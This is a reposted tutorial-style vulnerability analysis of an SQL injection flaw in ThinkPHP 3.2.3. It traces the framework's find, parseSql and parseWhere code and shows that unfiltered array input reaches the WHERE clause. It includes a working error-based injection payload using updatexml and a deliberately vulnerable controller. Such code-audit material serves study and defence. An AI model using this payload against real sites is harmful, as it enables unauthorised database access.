Home > Backend Development > PHP Problem > Let's talk about the sql injection vulnerability in thinkPHP3.2.3

Let's talk about the sql injection vulnerability in thinkPHP3.2.3

WBOY
Release: 2023-03-15 17:18:02
forward
6559 people have browsed it

This article brings you relevant knowledge about thinkphp, which mainly introduces the related issues of thinkPHP3.2.3sql injection vulnerability, including m method, d method, u method, etc. Related content, I hope it will be helpful to everyone.

Let's talk about the sql injection vulnerability in thinkPHP3.2.3

Recommended study: "PHP Video Tutorial"

Foreword

Must save when attacking the enemy:

  • ## Summary of commonly used methods in ThinkPHP: M method, D method, U method, I method

  • Thinkphp3.2.3 Security development instructions

Building:

  1. The first step is to First put it in the www directory (I use phpstudy for windows)! ! ! !

  2. Create a database, the table name must correspond to the name you want to M next

  3. I won’t go into details about the files to connect to the database. Configure it yourself: ThinkPHP/Conf/convention.php

  4. Configure the controller: \WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php

    <?phpnamespace  Home\Controller;use Think\Controller;class IndexController extends Controller {
        public function index(){
            $this->show('原来内容已经省略,太占地方');
    		$data = M('user')->find(I('GET.id'));
    		var_dump($data);
    	}}
    Copy after login
  5. Test:

    Lets talk about the sql injection vulnerability in thinkPHP3.2.3

##Text

payload:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)

#It is true that the error injection was successful, all because The existence of this code:

$data = M('user')->find(I('GET.id'));

There is no problem with the I and M methods , the real problem lies in the

find method, from
    /ThinkPHP/Mode/Lite/Model.class.php
  1.  public function find($options=array()) {   
            // 根据复合主键查找记录
            $pk  =  $this->getPk();
            if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里
                // 根据复合主键查询
                $count = 0;
                foreach (array_keys($options) as $key) {
                    if (is_int($key)) $count++; 
                } 
                if ($count == count($pk)) {
                    $i = 0;
                    foreach ($pk as $field) {
                        $where[$field] = $options[$i];
                        unset($options[$i++]);
                    }
                    $options['where']  =  $where;
                } else {
                    return false;
                }
            }
            // 总是查找一条记录
            $options['limit']   =   1;
            // 分析表达式
            $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
         	$resultSet          =   $this->db->select($options);//重要的一步
    Copy after login
  2. 2.
_parseOptions: Because it mainly targets options[where], I deleted all irrelevant code

/ThinkPHP/Library/Think/Model.class.php

protected function _parseOptions($options=array()) {
        if(is_array($options))
            $options =  array_merge($this->options,$options);
        // 字段类型验证
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
    //上面均没用,到现在开始有用:?
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options  =   array();
        // 表达式过滤
        $this->_options_filter($options);//这里值得注意
        return $options;
    }
Copy after login
3.

_options_filter

It’s gone now

Lets talk about the sql injection vulnerability in thinkPHP3.2.3And the above operation will also clear $options, so here Maybe I entered the wrong

, so I corrected the tracking of the second part to

2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }
Copy after login

3.buildSelectSql: The address is the same as above

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }
Copy after login

4.parseSql: The address is the same as above

public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }
Copy after login

5 .parseWhere: Same as above

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {//直接满足,直接进入
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
        }
            return empty($whereStr)?'':' WHERE '.$whereStr;}
Copy after login
Finally $sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)

#Then

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
Copy after login

There is no filtering in the whole process, seay analysis thinkPHP is too laborious

PHPstorm breakpoint audit:

Payload remains unchanged:

?id [where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)

# Or track the find function:

Lets talk about the sql injection vulnerability in thinkPHP3.2.3Trace here, step in, and continue tracking. At the end of the tracking, this function will jump out and the value remains unchanged. At the same time, step into the next function

Lets talk about the sql injection vulnerability in thinkPHP3.2.3 After verification, we stepped into another function:

Lets talk about the sql injection vulnerability in thinkPHP3.2.3Continue to track buildSelectSql:

Lets talk about the sql injection vulnerability in thinkPHP3.2.3Continue to track parseSql:

Lets talk about the sql injection vulnerability in thinkPHP3.2.3The final code becomes:

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user()) ,0x7e),1)# LIMIT 1

It is still convenient to debug, and basically does not require much brain use
Recommended learning: "

PHP Video Tutorial

"

The above is the detailed content of Let's talk about the sql injection vulnerability in thinkPHP3.2.3. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:csdn.net
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template